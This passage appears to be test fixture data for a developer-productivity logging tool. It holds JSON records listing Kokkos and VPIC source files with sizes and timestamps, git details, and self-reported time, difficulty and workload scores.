last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_ROCm_KokkosCore_config.h","size":662,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_Pthread_KokkosCore_config.h","size":625,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Pthread_KokkosCore_config.h","size":609,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_OpenMP_KokkosCore_config.h","size":624,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_Pthread_KokkosCore_config.h","size":634,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_Serial_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_ROCm_KokkosCore_config.h","size":662,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_Pthread_KokkosCore_config.h","size":634,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_Serial_KokkosCore_config.h","size":627,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_Qthreads_KokkosCore_config.h","size":635,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_OpenMP_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_Serial_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_Serial_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_ROCm_KokkosCore_config.h","size":600,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_Qthreads_KokkosCore_config.h","size":573,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_Qthreads_KokkosCore_config.h","size":626,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_Serial_KokkosCore_config.h","size":688,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/HSW_Serial_KokkosCore_config.h","size":628,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_Pthread_KokkosCore_config.h","size":634,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_Cuda_KokkosCore_config.h","size":569,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Cuda_KokkosCore_config.h","size":631,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_Qthreads_KokkosCore_config.h","size":690,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/HSW_Cuda_KokkosCore_config.h","size":655,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SKX_ROCm_KokkosCore_config.h","size":717,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_Pthread_KokkosCore_config.h","size":628,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_OpenMP_KokkosCore_config.h","size":568,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal60_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Cuda_KokkosCore_config.h","size":631,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Pthread_KokkosCore_config.h","size":569,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_ROCm_KokkosCore_config.h","size":658,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_Serial_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Serial_KokkosCore_config.h","size":608,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_Cuda_KokkosCore_config.h","size":598,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_Pthread_KokkosCore_config.h","size":683,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_ROCm_KokkosCore_config.h","size":637,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BDW_Cuda_KokkosCore_config.h","size":709,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Cuda_KokkosCore_config.h","size":635,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_ROCm_KokkosCore_config.h","size":662,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_Pthread_KokkosCore_config.h","size":630,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_Cuda_KokkosCore_config.h","size":598,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_Qthreads_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Qthreads_KokkosCore_config.h","size":610,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_OpenMP_KokkosCore_config.h","size":627,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler37_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_ROCm_KokkosCore_config.h","size":656,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler35_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv80_OpenMP_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_OpenMP_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/SNB_Cuda_KokkosCore_config.h","size":654,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_Qthreads_KokkosCore_config.h","size":635,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_ROCm_KokkosCore_config.h","size":662,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_Pthread_KokkosCore_config.h","size":634,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_Pthread_KokkosCore_config.h","size":543,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_Cuda_KokkosCore_config.h","size":660,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Maxwell50_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/None_ROCm_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power7_Cuda_KokkosCore_config.h","size":660,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv81_Serial_KokkosCore_config.h","size":571,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_OpenMP_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/HSW_OpenMP_KokkosCore_config.h","size":628,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler_Qthreads_KokkosCore_config.h","size":544,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNC_Serial_KokkosCore_config.h","size":624,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_OpenMP_KokkosCore_config.h","size":608,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Pascal61_Cuda_KokkosCore_config.h","size":629,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler32_Serial_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/WSM_Qthreads_KokkosCore_config.h","size":631,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power8_Cuda_KokkosCore_config.h","size":660,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Kepler30_OpenMP_KokkosCore_config.h","size":542,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/HSW_ROCm_KokkosCore_config.h","size":657,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/KNL_Serial_KokkosCore_config.h","size":633,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/Power9_Cuda_KokkosCore_config.h","size":660,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/config/results/BGQ_Cuda_KokkosCore_config.h","size":569,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_unsignedlongint.cpp","size":2060,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Other.cpp","size":2196,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicViews.cpp","size":2040,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_longlongint.cpp","size":2056,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Reducers_a.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Team.cpp","size":3226,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_View_64bit.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewMapping_a.cpp","size":2043,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_MDRange_c.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_MDRange_a.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewAPI_d.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_MDRange_e.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c13.cpp","size":2212,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_float.cpp","size":2050,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewMapping_b.cpp","size":2043,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c03.cpp","size":2244,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c11.cpp","size":2249,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c02.cpp","size":2232,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Reducers_b.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewAPI_e.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Reducers_c.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c10.cpp","size":2204,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c04.cpp","size":2192,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewAPI_b.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SharedAlloc.cpp","size":2188,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c06.cpp","size":2249,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c01.cpp","size":2187,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewAPI_a.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c08.cpp","size":2247,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Atomics.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_WorkGraph.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c12.cpp","size":2261,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_TeamReductionScan.cpp","size":3671,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c05.cpp","size":2231,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_TeamScratch.cpp","size":3139,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c07.cpp","size":2202,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_MDRange_b.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_c09.cpp","size":2259,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_RangePolicy.cpp","size":2034,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_MDRange_d.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Init.cpp","size":2104,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_double.cpp","size":2051,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_b.cpp","size":2807,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Reductions.cpp","size":2069,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_int.cpp","size":2048,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewMapping_subview.cpp","size":2049,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_longint.cpp","size":2052,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Scan.cpp","size":2033,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewOfClass.cpp","size":2041,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_ViewAPI_c.cpp","size":2038,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_SubView_a.cpp","size":3317,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Complex.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Crs.cpp","size":2030,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_Reducers_d.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/threads/TestThreads_AtomicOperations_unsignedint.cpp","size":2056,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/UnitTestMainInit.cpp","size":2227,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_float.cpp","size":2053,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c01.cpp","size":2159,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c13.cpp","size":2182,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_unsignedlongint.cpp","size":2063,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_ViewAPI_e.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_Atomics.cpp","size":14725,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_ViewAPI_b.cpp","size":3952,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c04.cpp","size":2164,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_MDRange_e.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c_all.cpp","size":637,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_MDRange_d.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c07.cpp","size":2174,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_b.cpp","size":2797,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_unsignedint.cpp","size":2059,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_MDRange_a.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c11.cpp","size":2221,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_Other.cpp","size":7165,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c05.cpp","size":2209,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c09.cpp","size":2231,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_MDRange_b.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_Complex.cpp","size":72,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c03.cpp","size":2216,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_ViewAPI_d.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c12.cpp","size":2233,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_longlongint.cpp","size":2059,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_ViewAPI_a.cpp","size":2194,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_Reductions.cpp","size":5532,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_longint.cpp","size":2055,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_a.cpp","size":3389,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_Team.cpp","size":5437,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c06.cpp","size":2221,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_double.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_ViewAPI_a.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c02.cpp","size":2204,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_MDRange_c.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_AtomicOperations_int.cpp","size":2051,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_ViewAPI_c.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQqthreads_ViewAPI_b.cpp","size":2041,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c08.cpp","size":2219,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/qthreads/TestQthreads_SubView_c10.cpp","size":2176,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/UnitTest_PushFinalizeHook_terminate.cpp","size":3351,"last_modified":1529436747}{"name":"./kokkos/tpls/gtest/gtest/gtest.h","size":830614,"last_modified":1529436750}{"name":"./kokkos/tpls/gtest/gtest/gtest-all.cc","size":354477,"last_modified":1529436750}{"name":"./interfaces/c/fft_join.c","size":3309,"last_modified":1528842308}{"name":"./interfaces/c/fft_join_tmp.c","size":3446,"last_modified":1528842308}{"name":"./interfaces/c/poynting2d.c","size":6280,"last_modified":1528842308}{"name":"./interfaces/c/data_join2.c","size":22638,"last_modified":1528842308}{"name":"./interfaces/c/fig10.c","size":4852,"last_modified":1528842308}{"name":"./interfaces/c/data_join.c","size":22633,"last_modified":1528842308}{"name":"./interfaces/c/pppp.c","size":11254,"last_modified":1528842308}{"name":"./interfaces/c/movie_join_bak.c","size":7266,"last_modified":1528842308}{"name":"./interfaces/c/fig9.c","size":4900,"last_modified":1528842308}{"name":"./interfaces/c/movie_join_2d.c","size":7170,"last_modified":1528842308}{"name":"./interfaces/c/movie_join.c","size":16856,"last_modified":1528842308}{"name":"./build/kokkos/containers/dummy.cpp","size":0,"last_modified":1530573067}{"name":"./build/kokkos/algorithms/dummy.cpp","size":0,"last_modified":1530573067}{"name":"./build/kokkos/core/dummy.cpp","size":0,"last_modified":1530573067}{"name":"./build/kokkos/KokkosCore_config.h","size":634,"last_modified":1530573066}{"name":"./build/CMakeFiles/FindMPI/test_mpi.cpp","size":835,"last_modified":1530573064}{"name":"./build/CMakeFiles/FindOpenMP/OpenMPCheckVersion.c","size":605,"last_modified":1530573065}{"name":"./build/CMakeFiles/FindOpenMP/OpenMPTryFlag.c","size":93,"last_modified":1530573065}{"name":"./build/CMakeFiles/FindOpenMP/OpenMPCheckVersion.cpp","size":605,"last_modified":1530573066}{"name":"./build/CMakeFiles/FindOpenMP/OpenMPTryFlag.cpp","size":93,"last_modified":1530573065}{"name":"./build/CMakeFiles/3.11.1/CompilerIdC/CMakeCCompilerId.c","size":18988,"last_modified":1530573057}{"name":"./build/CMakeFiles/3.11.1/CompilerIdCXX/CMakeCXXCompilerId.cpp","size":18492,"last_modified":1530573057}{"name":"./build/CMakeFiles/feature_tests.c","size":688,"last_modified":1530573059}
}
{"git_info":
{"commit_hash":031aab735138641fb73467e47484ed31cce3bfa0},
{"branch":sharrell}
}""")
test_json.append("""{"log":{
"user_responses":{
"description":"test",
"time_categories":{
"planning":{
"time_spent":3.000000,
"difficulty":6
},
"coding":{
"time_spent":3.000000,
"difficulty":7
},
"refactoring":{
"time_spent":5.000000,
"difficulty":4
},
"debugging":{
"time_spent":7.000000,
"difficulty":6
},
"optimising":{
"time_spent":4.000000,
"difficulty":6
}
},
"tags":{
"MPI":false,
"OpenMP":true,
"Cuda":false,
"Kokkos":true,
"domain specific work":false
},
"NASA-TLX":{
"mental_demand":5,
"temporal_demand":7,
"performance":4,
"effort":7,
"frustration":5
}
},
"autogeneratated":{
"status":"",
"files":[
{"name":"./sample/interface_deck_2D_decomp/head/interface_deck_2D_decomp.cc","size":79168,"last_modified":1528904996},
{"name":"./sample/interface_deck_2D_decomp/407/v407_interface_deck_2D_decomp.cc","size":80015,"last_modified":1528904996},
{"name":"./utilities/gtest-vpic.cc","size":500,"last_modified":1528904996},
{"name":"./utilities/restart_remap.cc","size":1796,"last_modified":1528904996},
{"name":"./deck/main.cc","size":3001,"last_modified":1528904996},
{"name":"./deck/wrapper.cc","size":25863,"last_modified":1528904996},
{"name":"./src/material/material.cc","size":2825,"last_modified":1531500079},
{"name":"./src/util/profile/profile.cc","size":1773,"last_modified":1531500079},
{"name":"./src/util/checkpt/checkpt.cc","size":22150,"last_modified":1531500079},
{"name":"./src/util/checkpt/checkpt_io.cc","size":680,"last_modified":1531500079},
{"name":"./src/util/boot.cc","size":1167,"last_modified":1531500079},
{"name":"./src/util/util_base.cc","size":6923,"last_modified":1531500080},
{"name":"./src/util/rng/test/rng.cc","size":13287,"last_modified":1531500080},
{"name":"./src/util/rng/frandn_table.cc","size":7759,"last_modified":1531500080},
{"name":"./src/util/rng/rng.cc","size":17713,"last_modified":1531500080},
{"name":"./src/util/rng/drandn_table.cc","size":30219,"last_modified":1531500080},
{"name":"./src/util/rng/rng_pool.cc","size":1475,"last_modified":1531500080},
{"name":"./src/util/mp/mp.cc","size":2494,"last_modified":1531500080},
{"name":"./src/util/v4/test/v4.cc","size":11628,"last_modified":1531500080},
{"name":"./src/util/pipelines/pipelines_thread.cc","size":19730,"last_modified":1531500080},
{"name":"./src/util/pipelines/pipelines_serial.cc","size":2100,"last_modified":1531500080},
{"name":"./src/vpic/advance.cc","size":8824,"last_modified":1532015937},
{"name":"./src/vpic/diagnostics.cc","size":2261,"last_modified":1531500080},
{"name":"./src/vpic/vpic.cc","size":3605,"last_modified":1531500080},
{"name":"./src/vpic/misc.cc","size":10026,"last_modified":1531500080},
{"name":"./src/vpic/initialize.cc","size":3000,"last_modified":1532015937},
{"name":"./src/vpic/dump.cc","size":27661,"last_modified":1531500080},
{"name":"./src/field_advance/standard/vacuum_energy_f.cc","size":4800,"last_modified":1531500080},
{"name":"./src/field_advance/standard/compute_rms_div_b_err.cc","size":1977,"last_modified":1531500080},
{"name":"./src/field_advance/standard/advance_b.cc","size":5314,"last_modified":1532015936},
{"name":"./src/field_advance/standard/sfa.cc","size":7263,"last_modified":1532015936},
{"name":"./src/field_advance/standard/vacuum_compute_curl_b.cc","size":9562,"last_modified":1531500080},
{"name":"./src/field_advance/standard/vacuum_advance_e.cc","size":11198,"last_modified":1531500080},
{"name":"./src/field_advance/standard/compute_rhob.cc","size":4404,"last_modified":1531500080},
{"name":"./src/field_advance/standard/advance_e.cc","size":12678,"last_modified":1531856219},
{"name":"./src/field_advance/standard/energy_f.cc","size":4575,"last_modified":1531500080},
{"name":"./src/field_advance/standard/vacuum_compute_div_e_err.cc","size":4598,"last_modified":1531500080},
{"name":"./src/field_advance/standard/clean_div_e.cc","size":4207,"last_modified":1531500080},
{"name":"./src/field_advance/standard/remote.cc","size":23843,"last_modified":1531509851},
{"name":"./src/field_advance/standard/compute_div_b_err.cc","size":4871,"last_modified":1531500080},
{"name":"./src/field_advance/standard/clean_div_b.cc","size":7907,"last_modified":1531500080},
{"name":"./src/field_advance/standard/vacuum_clean_div_e.cc","size":4037,"last_modified":1531500080},
